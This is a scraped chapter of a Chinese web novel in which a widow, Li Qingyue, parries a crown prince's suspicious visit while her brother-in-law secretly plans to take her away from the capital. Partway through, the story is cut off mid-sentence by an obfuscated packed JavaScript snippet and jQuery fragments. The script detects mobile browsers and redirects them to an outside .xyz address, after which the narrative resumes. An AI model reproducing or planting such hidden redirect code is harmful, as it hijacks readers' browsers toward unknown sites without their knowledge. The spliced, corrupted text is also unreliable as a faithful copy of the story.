21. 第 21 章
作品:《限制文女主但全员重生》 谢昀不在府里,老夫人又身体不好,这几日都不精神,只有李清越能见客。
萧策熟门熟路的走进院内,他一向眼尖,轻易便看到了院中人。
与初见的狼狈混乱不同。
李清越站在青绿草木之间,穿着初秋的窄袖,淡紫色的衣摆顺着行走拂动,一圈圈漾开涟漪。
她脸上的伤已经完全好了,回眸时露出的假笑都显得清丽恬静。
对方像是猜到他会来并不惊讶。
规矩的行礼后,李清越为他引路上茶,淡粉色的指尖将茶盏递过来,花茶的香气散开。
她低垂着头并不热络,从萧策俯视的角度看格外乖巧,和在青玉观判若两人。
“谢夫人可有受伤?”
李清越装模作样地轻咳两声:“没有大碍,多谢殿下关心。”
她看不出来萧策是不是来为难她的,来找事给萧凌羽出气的,心里烦得要死。
比起萧策这种不好打交道的心机男人,她宁愿碰到萧凌羽,至少一眼就能看出来对方想做什么。
萧策也再看她,视线落到脖颈,瓷白的皮肤包裹着蓝绿色的血管,像是易碎的白瓷,一道道淡红的指印格外醒目。
视线扫到她光洁的额头,有一瞬的停顿,一点痕迹都没有留下。
她安静地坐着,任由萧策打量,倒是难得地沉得住气。
初见时,萧策其实没怎么看清她的模样,只对她刻意露出来的伤痕,和不愿服软的性子印象深刻,没想到这次全然不同。
短暂的沉默后,萧策突兀地轻笑出声。
“还没感谢夫人救了凌羽,你走得匆忙,凌羽又一直昏迷不醒,不得空闲过来探望。”
李清越抬眸,露出几分恰到好处的惊讶:“明昭公主还没醒吗,怎么会这样?”
她一副不记得自己把萧凌羽按在水里多久的模样,展露出最虚伪的表面,抬手掩唇:“我定会日夜为明昭公主祈祷的,希望公主早日苏醒康复。”
萧策盯着她的脸,挑眉问道:“夫人心里不怪凌羽?她两次三番的任性让夫人受了不少委屈。”
说着,他的目光落在李清越裸.露的颈侧,这一片的红痕看起来的确是有些碍眼。
李清越颇为惊诧地抬眼,直直回视,“殿下何处此言?”
“明昭公主的痴心真情,同我一般无二,我虽然身体受了伤,但公主殿下心里又何尝不是伤痕累累,我当然理解她……”
李清越把自己说恶心了,喉咙里一股干涩的痒意。
她当然不怪,她恨死萧凌羽,恨到差点在水下动了杀心,但她可不想给萧凌羽陪葬。
真出了事不好交代,萧策也不好应付。
她适时垂下眼睫,面上露出几分感慨:“其实在湖心亭上,公主也并非要动手杀我,她只是想花钱让我离开谢家,都怪我出言不慎触怒的公主殿下。”
李清越轻声叹息,一番话说得颇为包容,整个人散发着悲悯的气息。
萧策没从她脸上看到破绽,但也不信这番冠冕堂皇的说辞。
“凌羽竟有这个意思,”他像是刚知道这件事,奇道:“夫人大好年华,难道没有想过改嫁,”
萧策顿了顿,像是随意提起:“上次在青玉观,常公子似乎十分担忧夫人。”
“他晚上一步,只远远看着你上了谢府马车。”
青玉观常俞被绑得死死的,哪能看出什么担忧,一定是萧策查过她们,渝州的事他知道吗。
他是来威胁自己的?
昨日谢昀突然让她改嫁,也提到了常俞,难道还发生了她不知道的事?
一想到常俞就觉得头痛,真能给她拖后腿。
李清越心下一沉,面色有些许僵硬,半真半假道:“我与常公子是同乡,他一向心善,总会多关照旁人几分。”为她招来许多不必要的麻烦。
萧策不可能让她轻飘飘把这件事搪塞过去,他唇角上扬:“是吗?我方才来的时候,恰好遇到常公子回去,似乎是没能进来,为此神色低落。”
李清越:“……?”
她还真没听说常俞来拜访,嫌他们之间的风言风语还不够多吗,这种时候也敢来!
李清越抬眸看向莲星,问道:“这几日常公子来拜访过?”
莲星不敢撒谎,不安地揪着衣袖,如实道:“常公子是来过几次,但二少爷与常公子交恶不让他来,也……也不让通禀夫人。”
青玉观的事,莲星最为警惕,她对常俞印象不好,私心不想让夫人知道。
李清越垂眸,眼底没有半点歉意,声音却颇为自责:“是我疏忽怠慢了。”
就算她知道,也不可能让常俞进来,只会找合适的借口推拒,做寡妇实在不容易,何况她身上的是非已经够多了。
“我看常公子一片真心,难道夫人半点都不动容?”
要不是常俞,青玉观她根本就不需要自伤身体把事情闹大,动心?她动气才对吧。
萧策也真是奇怪,明昭公主为难,他怀疑自己记恨,常俞几次三番在找她,全然不顾她的名誉,她竟然怀疑自己动心?
李清越难得说这样真心实意的肺腑之言:“我嫁到谢家便没想过离开。”
“我与玄郎情投意合,这颗心再也装不下旁人。”
谁都不能耽误她做寡妇。
说着,李清越忍不住轻抚心口,折腾了几次,她才领悟到有一个不会找麻烦,又家业丰厚的夫君是件大喜事。
她不用向母亲长姐一样为月底担忧操劳,是不是还有收拾烂摊子。
也不用思虑姨娘、子嗣,谢玄不会给她找麻烦,也不会向常俞一样不听她劝告,如果没有明昭公主为难,她一定会更顺心,日日向菩萨进香感恩。
她现在不太担心明昭工作,只要不进宫,就没有麻烦。
而且这次落水,萧凌羽完全恢复也需要一段时间。
自己有很久的清净日子。
萧策看着她真切的笑意,眼底知足幸福的神色,忍不住蹙眉:太熟悉了,和萧凌羽相差无几。
每次和谢玄说上话,萧凌羽总会露出这样的神色。
他并
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16349668|182549||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不喜欢,但眼前人不同,她眼中少了几分炽热情意,眸光如水,映出的轻浅的光彩涟漪,并不如何夺目,无端让人觉得安宁。
远处的芙蓉花开得正好,不时有风拂过,带起丝丝缕缕的香气。
李清越盼着萧策早点走,自然不会主动和他搭话。
她垂首摆弄茶具,淡粉的指尖落在白瓷上,干花被滚烫的沸水冲开,粉红的花瓣变得饱满,水雾带着花茶香气。
萧策看着她,目光落在她的指尖,接过她递来的茶盏,正欲开口,忽然听到匆忙的脚步。
谢昀几乎是跑进来。
他先是看想李清越,确认她没事,身边也跟着莲星才松了口气,转而向萧策行礼。
他的反应落在萧策眼里就是对李清越的在意,害怕他是来找麻烦的,和影汇报的一样,但他总觉得谢昀有些太紧张了。
这么明显的表态,看来谢家是不可能会放弃李清越了。
李清越看到谢昀松了口气,虚假的笑意都真实了几分,声音温柔:“太子殿下已经等小叔多时了,我就不打扰你们了。”
她故作体贴的说完,便笑盈盈地退下,那自己院子的外间让出来,躲得远远的。
萧策原本就是来试探的,得到答应也没再多留,很快就找借口离开了。
谢昀看着他的背影,敏锐地觉察出异样,明明什么都没有发生,为什么他还是找过来了。
原本的不安变成强烈的担忧,不能再留下来了。
李清越听说萧策走了才出来,见谢昀处理不动,放轻脚步走过去:“小叔?”
谢昀回神,瞧见她才安心,试探着问:“太子殿下都说了什么,他走的时候脸色不太好,没有为难你吧?”
李清越在心里翻白眼,她伺候半天,端茶滴水赔笑脸,萧策还甩上脸了。
不管心里怎么想,她面上依旧带着笑意:“太子殿下宅心仁厚,怎么会为难我呢。”
“是吗,”谢昀若有所思地说:“我还以为殿下是因为眀昭公主的事,对姐姐不满,有意为难姐姐,没有就好。”
李清越脸上的笑意微僵:“算了,不提旁人了,你今日不是说有事吗,怎么回来得这么早。”
谢昀想到快落实的事,心中轻快了些许,笑道:“不是什么要紧的事,已经处理好了。”
等他的调令下来,就能带李清越离开盛京。
这件事前世他就想过一遍,只是还没来得及付诸行动,便被那次意外彻底打碎了。
现在,明昭公主恨极了李清越,他在这个时候提出离京,带着母亲寡嫂离开,任谁都会觉得是被逼迫的退让。
到时候在没人认识他们的地方,一切都可以重新开始,既然母亲不介意李清越改嫁,想来也会不介意他的心思。
谢昀看得出来母亲喜欢李清越,如果她跟自己在一起,岂不是两全其美。
就算现在李清越不喜欢自己,亲情也好,同情也罢,日子久了总会有一两分真心。
李清越见他回答得敷衍,看出他不想多说,识趣的没有再追问。